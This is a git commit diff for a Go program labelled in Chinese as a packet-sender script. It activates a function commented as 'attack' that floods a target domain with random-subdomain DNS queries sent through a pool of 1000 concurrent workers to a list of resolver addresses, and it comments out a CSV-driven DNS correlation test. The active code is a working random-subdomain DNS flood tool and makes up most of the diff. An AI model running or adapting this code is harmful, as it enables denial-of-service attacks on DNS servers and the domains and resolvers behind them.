diff options
| author | 韩丁康 <[email protected]> | 2023-11-14 10:17:55 +0800 |
|---|---|---|
| committer | 韩丁康 <[email protected]> | 2023-11-14 10:17:55 +0800 |
| commit | c9672ec5a7e182da686d1c596cd5eac47582aedc (patch) | |
| tree | f72eb9ada1662cb1ee7c6a3a2783b5f4543dd9ec | |
| parent | 58a23f81cf806a7554903779e28c1d14704cd38f (diff) | |
发包器脚本
| -rw-r--r-- | .idea/vcs.xml | 6 | ||||
| -rw-r--r-- | main.go | 150 |
2 files changed, 81 insertions, 75 deletions
diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..94a25f7 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="UTF-8"?> +<project version="4"> + <component name="VcsDirectoryMappings"> + <mapping directory="$PROJECT_DIR$" vcs="Git" /> + </component> +</project>
\ No newline at end of file @@ -15,43 +15,6 @@ import ( ) // 攻击 -//func main() { -// defer ants.Release() -// -// var wg sync.WaitGroup -// -// p, _ := ants.NewPool(1000, ants.WithPreAlloc(true)) -// -// c := new(dns.Client) -// args := os.Args -// qname := args[1] -// runcount, _ := strconv.Atoi(args[2]) -// for i := runcount; i > 0; i-- { -// for _, v := range args[3:] { -// wg.Add(1) -// -// fqdn := strings.ToLower(randstr.String(10)) + "." + qname -// -// print(fqdn + "\n") -// msg := dns.Msg{} -// msg.SetQuestion(fqdn, dns.TypeA) -// vi := v + ":53" -// -// _ = p.Submit( -// func() { -// _, _, err := c.Exchange(&msg, vi) -// wg.Done() -// if err != nil { -// return -// } -// }) -// } -// } -// wg.Wait() -// print("完成!!") -//} - -// 测试入口出口关联 func main() { defer ants.Release() @@ -61,50 +24,18 @@ func main() { c := new(dns.Client) args := os.Args - // 目标域名 - qname := args[0] - // 目标文件路径 - qpath := args[1] - // 运行次数 + qname := args[1] runcount, _ := strconv.Atoi(args[2]) - - f, err := os.Open(qpath) - if err != nil { - log.Fatal(err) - } - defer f.Close() - // read csv values using csv.Reader - csvReader := csv.NewReader(f) - // 进度条初始化 - r := bufio.NewReader(f) - num := 0 - for { - _, err := r.ReadString('\n') - if io.EOF == err || nil != err { - break - } - num += 1 - } - bar := progressbar.Default(int64(num)) - for i := runcount; i > 0; i-- { - for { + for _, v := range args[3:] { wg.Add(1) - // 逐行读取 - rec, err := csvReader.Read() - if err == io.EOF { - break - } - if err != nil { - log.Fatal(err) - } - - fqdn := strings.ReplaceAll(rec[0], ":", "-") + "." + qname + fqdn := strings.ToLower(randstr.String(10)) + "." + qname + print(fqdn + "\n") msg := dns.Msg{} msg.SetQuestion(fqdn, dns.TypeA) - vi := rec[0] + ":53" + vi := v + ":53" _ = p.Submit( func() { @@ -114,9 +45,78 @@ func main() { return } }) - bar.Add(1) } } wg.Wait() print("完成!!") } + +// 测试入口出口关联 +// func main() { +// defer ants.Release() + +// var wg sync.WaitGroup + +// p, _ := ants.NewPool(100, ants.WithPreAlloc(true)) + +// c := new(dns.Client) +// args := os.Args +// // 目标域名 +// qname := args[0] +// // 目标文件路径 +// qpath := args[1] +// // 运行次数 +// runcount, _ := strconv.Atoi(args[2]) + +// f, err := os.Open(qpath) +// if err != nil { +// log.Fatal(err) +// } +// defer f.Close() +// // read csv values using csv.Reader +// csvReader := csv.NewReader(f) +// // 进度条初始化 +// r := bufio.NewReader(f) +// num := 0 +// for { +// _, err := r.ReadString('\n') +// if io.EOF == err || nil != err { +// break +// } +// num += 1 +// } +// bar := progressbar.Default(int64(num)) + +// for i := runcount; i > 0; i-- { +// for { +// wg.Add(1) + +// // 逐行读取 +// rec, err := csvReader.Read() +// if err == io.EOF { +// break +// } +// if err != nil { +// log.Fatal(err) +// } + +// fqdn := strings.ReplaceAll(rec[0], ":", "-") + "." + qname + +// msg := dns.Msg{} +// msg.SetQuestion(fqdn, dns.TypeA) +// vi := rec[0] + ":53" + +// _ = p.Submit( +// func() { +// _, _, err := c.Exchange(&msg, vi) +// wg.Done() +// if err != nil { +// return +// } +// }) +// bar.Add(1) +// } +// } +// wg.Wait() +// print("完成!!") +// } |
